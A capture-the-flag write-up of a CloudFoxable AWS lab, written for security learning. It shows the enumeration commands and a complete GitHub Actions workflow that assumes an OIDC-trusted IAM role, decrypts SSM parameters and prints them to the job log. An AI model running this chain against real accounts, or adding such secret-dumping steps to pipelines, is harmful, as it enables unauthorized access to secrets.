There’s a role that trusts the repo you just created. Find the role and exploit the trust to access the flag.

Information Gathering

I’ll start off by enumerating AWS roles in my sandbox account, hoping to see a trust policy for the repo i’ve created adicpnn/cfx_trust_me.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
adicpnn@laboratory aws % aws iam list-roles --profile cloudfoxable
...
{
            "Path": "/",
            "RoleName": "t_rodman",
            "RoleId": "AROAR4HCPRIDWZYYOATJQ",
            "Arn": "arn:aws:iam::129323993607:role/t_rodman",
            "CreateDate": "2026-03-17T15:21:22+00:00",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Sid": "",
                        "Effect": "Allow",
                        "Principal": {
                            "Federated": "arn:aws:iam::129323993607:oidc-provider/token.actions.githubusercontent.com"
                        },
                        "Action": "sts:AssumeRoleWithWebIdentity",
                        "Condition": {
                            "StringLike": {
                                "token.actions.githubusercontent.com:sub": "repo:adicpnn/cfx_trust_me:*",
                                "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
                            }
                        }
                    }
                ]
            },
            "MaxSessionDuration": 3600
        }
...

What this trust policy statement allows, is for GitHub Actions to assume the role t_rodman using OpenID Connect. I’ll keep this information and mind, and keep unraveling the exploit chain.

The next question on my list is: if assumed, what can this role do?

1
2
3
4
5
6
7
8
9
adicpnn@laboratory aws % aws iam list-attached-role-policies --role-name t_rodman --profile cloudfoxable
{
    "AttachedPolicies": [
        {
            "PolicyName": "trust-me",
            "PolicyArn": "arn:aws:iam::129323993607:policy/trust-me"
        }
    ]
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
adicpnn@laboratory aws % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/trust-me --version-id v1 --profile cloudfoxable
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "ssm:GetParameter"
                    ],
                    "Effect": "Allow",
                    "Resource": [
                        "arn:aws:ssm:eu-central-1:129323993607:parameter/trust-*"
                    ],
                    "Sid": "AllowReadFlag"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2026-03-17T15:21:21+00:00"
    }
}

Next up, what’s the full ARN of my target? I’ll need this when I’ll attempt reading the parameter.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
adicpnn@laboratory cfx_trust_me % aws ssm describe-parameters --profile cloudfoxable
...
{
    "Parameters": [
        {
            "Name": "trust-her",
            "ARN": "arn:aws:ssm:eu-central-1:129323993607:parameter/trust-her",
            "Type": "SecureString",
            "KeyId": "alias/aws/ssm",
            "LastModifiedDate": "2026-03-17T16:21:20.835000+01:00",
            "LastModifiedUser": "arn:aws:iam::129323993607:user/terraform",
            "Version": 1,
            "Tier": "Standard",
            "Policies": [],
            "DataType": "text"
        },
        {
            "Name": "trust-him",
            "ARN": "arn:aws:ssm:eu-central-1:129323993607:parameter/trust-him",
            "Type": "String",
            "LastModifiedDate": "2026-03-17T16:21:20.839000+01:00",
            "LastModifiedUser": "arn:aws:iam::129323993607:user/terraform",
            "Version": 1,
            "Tier": "Standard",
            "Policies": [],
            "DataType": "text"
        },
        {
            "Name": "trust-me",
            "ARN": "arn:aws:ssm:eu-central-1:129323993607:parameter/trust-me",
            "Type": "SecureString",
            "KeyId": "alias/aws/ssm",
            "LastModifiedDate": "2026-03-17T16:21:20.812000+01:00",
            "LastModifiedUser": "arn:aws:iam::129323993607:user/terraform",
            "Version": 1,
            "Tier": "Standard",
            "Policies": [],
            "DataType": "text"
        },
        {
            "Name": "trust-them",
            "ARN": "arn:aws:ssm:eu-central-1:129323993607:parameter/trust-them",
            "Type": "String",
            "LastModifiedDate": "2026-03-17T16:21:21.405000+01:00",
            "LastModifiedUser": "arn:aws:iam::129323993607:user/terraform",
            "Version": 1,
            "Tier": "Standard",
            "Policies": [],
            "DataType": "text"
        }
    ]
...

Looks like there’s more than one place I need to look into.

Execution

I went ahead and created a GitHub Action meant to assume this role, and read the flags in the SSM parameter store.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
name: Assume t_rodman
on:
  workflow_dispatch:
permissions:
  id-token: write
  contents: read
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout
        uses: actions/checkout@v4
      - name: Debug OIDC token
        run: |
          TOKEN=$(curl -H "Authorization: Bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
          "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r '.value')

          echo $TOKEN | cut -d "." -f2 | base64 -d | jq
      - name: Configure AWS credentials
        uses: aws-actions/configure-aws-credentials@v4
        with:
          audience: sts.amazonaws.com
          role-to-assume: 'arn:aws:iam::129323993607:role/t_rodman'
          role-session-name: GitHubActionsSession
          aws-region: eu-central-1
      - name: Test access
        run: aws sts get-caller-identity
      - name: Get trust-her param from SSM
        id: get_param1
        run: |
          PARAM_VALUE1=$(aws ssm get-parameter \
            --name "trust-her" \
            --with-decryption \
            --output text)

            echo "PARAM_VALUE1=$PARAM_VALUE1" >> $GITHUB_ENV

      - name: Print trust-her
        run: echo "Fetched parameter is $PARAM_VALUE1" 
      - name: Get trust-him param from SSM
        id: get_param2
        run: |
          PARAM_VALUE2=$(aws ssm get-parameter \
            --name "trust-him" \
            --with-decryption \
            --output text)

            echo "PARAM_VALUE2=$PARAM_VALUE2" >> $GITHUB_ENV

      - name: Print trust-him
        run: echo "Fetched parameter is $PARAM_VALUE2"
      - name: Get trust-me param from SSM
        id: get_param3
        run: |
          PARAM_VALUE3=$(aws ssm get-parameter \
            --name "trust-me" \
            --with-decryption \
            --output text)

            echo "PARAM_VALUE3=$PARAM_VALUE3" >> $GITHUB_ENV
          
      - name: Print trust-me
        run: echo "Fetched parameter is $PARAM_VALUE3"
      - name: Get trust-them param from SSM
        id: get_param4
        run: |
          PARAM_VALUE4=$(aws ssm get-parameter \
            --name "trust-them" \
            --with-decryption \
            --output text)

            echo "PARAM_VALUE4=$PARAM_VALUE4" >> $GITHUB_ENV

      - name: Print trust-them
        run: echo "Fetched parameter is $PARAM_VALUE4"

All that’s left to do, is go to GitHub, and manually dispatch the action.

Reading the SSM parameters using a GitHub Action

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
2026-03-18T08:13:32.2754895Z ##[group]Run echo "Fetched parameter is $PARAM_VALUE4"
2026-03-18T08:13:32.2755328Z echo "Fetched parameter is $PARAM_VALUE4"
2026-03-18T08:13:32.2803249Z shell: /usr/bin/bash -e {0}
2026-03-18T08:13:32.2803490Z env:
2026-03-18T08:13:32.2803680Z   AWS_DEFAULT_REGION: eu-central-1
2026-03-18T08:13:32.2803942Z   AWS_REGION: eu-central-1
2026-03-18T08:13:32.2804345Z   AWS_ACCESS_KEY_ID: ***
2026-03-18T08:13:32.2804687Z   AWS_SECRET_ACCESS_KEY: ***
2026-03-18T08:13:32.2829119Z   AWS_SESSION_TOKEN: ***
2026-03-18T08:13:32.2829790Z   PARAM_VALUE1: PARAMETER	arn:aws:ssm:eu-central-1:129323993607:parameter/trust-her	text	2026-03-17T16:23:48.036000+00:00	trust-her	SecureString	not_the_flag	1
2026-03-18T08:13:32.2830858Z   PARAM_VALUE2: PARAMETER	arn:aws:ssm:eu-central-1:129323993607:parameter/trust-him	text	2026-03-17T16:23:48.063000+00:00	trust-him	String	not_the_flag	1
2026-03-18T08:13:32.2831962Z   PARAM_VALUE3: PARAMETER	arn:aws:ssm:eu-central-1:129323993607:parameter/trust-me	text	2026-03-17T16:23:47.998000+00:00	trust-me	SecureString	FLAG{trustMe::the_lines_have_been_blurred}	1
2026-03-18T08:13:32.2833019Z   PARAM_VALUE4: PARAMETER	arn:aws:ssm:eu-central-1:129323993607:parameter/trust-them	text	2026-03-17T16:23:48.049000+00:00	trust-them	String	not_the_flag	1

Retrospective

While this scenario appears in a offensive security lab, the interaction itself is not inherently insecure. In fact, using federated access to assume an AWS role directly from a workflow action aligns with AWS best practices.

However, this approach does expand the attack surface of the AWS account. GitHub repositories can be compromised, and if a repository is trusted to access AWS resources, it effectively becomes part of the trust boundary. As a result, an attacker who gains control of such a repository could leverage this trust to perform lateral movement into the AWS environment.